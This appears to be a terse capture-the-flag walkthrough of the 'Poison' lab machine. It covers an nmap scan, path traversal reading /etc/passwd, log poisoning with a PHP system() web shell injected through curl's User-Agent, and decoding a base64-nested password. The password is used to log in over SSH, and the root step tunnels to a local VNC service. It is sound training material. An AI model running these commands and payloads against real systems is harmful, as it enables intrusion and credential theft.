Poison

Scanning

furious 10.10.10.84

nmap -sC -sV -p80,22 -n -Pn 10.10.10.84 -oN targeted

175059.png

#80

view-source:http://10.10.10.84/browse.php?file=/../../../../../../../../etc/passwd

view-source:http://10.10.10.84/browse.php?file=/../../../../../../../../var/log/httpd-access.log

curl -A "<?php system(\$_REQUEST['cmd']);?>" 10.10.10.84

10.10.10.84/browse.php?file=/../../../../../../../../var/log/httpd-access.log&cmd=ls

http://10.10.10.84/browse.php?file=/../../../../../../../../var/log/httpd-access.log&cmd=cat%20pwdbackup.txt

180749.png

#!/bin/bash

cad='Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZ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KemVGWnJaRFJTTVZwV1RWVldhUXBTVmtwb1dsZHdRazVXUlhsWmVteFJWVmM0T1VOblBUMEsK
#########
Vm14YVUxTXlTWGxTYTJoVllteEtjRlZyV2t0VE1WcHlWbTVPYWxac1NubFdSM2hoVkcxRmVsRnVhRmhoYTJzeFZrZDRSMVpWTVVWaQpSVkpoWldwQk5WRXlZemxRVVc4OUNnPT0K
#########
VmxaU1MySXlSa2hVYmxKcFVrWktTMVpyVm5OalZsSnlWR3hhVG1FelFuaFhha2sxVkd4R1ZVMUViRVJhZWpBNVEyYzlQUW89Cg==
#########
VlZSS2IyRkhUblJpUkZKS1ZrVnNjVlJyVGxaTmEzQnhXakk1VGxGVU1EbERaejA5Q2c9PQo=
#########
VVRKb2FHTnRiRFJKVkVscVRrTlZNa3BxWjI5TlFUMDlDZz09Cg==
#########
UTJoaGNtbDRJVElqTkNVMkpqZ29NQT09Cg==
#########
Q2hhcml4ITIjNCU2JjgoMA==
#########
Charix!2#4%6&8(0
#########

22

ssh charix@10.10.10.84

cat /home/charix/user.txt

charix@Poison:~ % netstat -a
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address          Foreign Address        (state)
tcp4       0     44 10.10.10.84.ssh        10.10.14.14.57228      ESTABLISHED
tcp4       0      0 localhost.smtp         *.*                    LISTEN
tcp4       0      0 *.http                 *.*                    LISTEN
tcp6       0      0 *.http                 *.*                    LISTEN
tcp4       0      0 *.ssh                  *.*                    LISTEN
tcp6       0      0 *.ssh                  *.*                    LISTEN
tcp4       0      0 localhost.5801         *.*                    LISTEN
tcp4       0      0 localhost.5901         *.*                    LISTEN
udp4       0      0 *.syslog               *.*                    
udp6       0      0 *.syslog               *.*                    
Active UNIX domain sockets
Address          Type   Recv-Q Send-Q            Inode             Conn             Refs          Nextref Addr
fffff80003b62e10 stream      0      0                0 fffff80003b62b40                0                0
fffff80003b62b40 stream      0      0                0 fffff80003b62e10                0                0
fffff80003b632d0 stream      0      0                0 fffff80003b633c0                0                0 /tmp/.X11-unix/X1
fffff80003b633c0 stream      0      0                0 fffff80003b632d0                0                0
fffff80003b635a0 stream      0      0                0 fffff80003b634b0                0                0 /tmp/.X11-unix/X1
fffff80003b634b0 stream      0      0                0 fffff80003b635a0                0                0
fffff80003b63690 stream      0      0 fffff80003b33588                0                0                0 /tmp/.X11-unix/X1
fffff80003b63b40 stream      0      0 fffff80003ac0938                0                0                0 /var/run/devd.pipe
fffff80003b630f0 dgram       0      0                0 fffff80003b63960                0                0
fffff80003b631e0 dgram       0      0                0 fffff80003b63870                0 fffff80003b63780
fffff80003b63780 dgram       0      0                0 fffff80003b63870                0                0
fffff80003b63870 dgram       0      0 fffff80003c54000                0 fffff80003b631e0                0 /var/run/logpriv
fffff80003b63960 dgram       0      0 fffff80003c541d8                0 fffff80003b630f0                0 /var/run/log
fffff80003b63a50 seqpac      0      0 fffff80003ac0760                0                0                0 /var/run/devd.seqpacket.pipe

local port forwarding

ssh charix@10.10.10.84 -L 7777:localhost:5901

nmap -sC -sV -p 7777 localhost

##vncviewer vncviewer localhost:7777 -passwd secret

cat /root/root.txt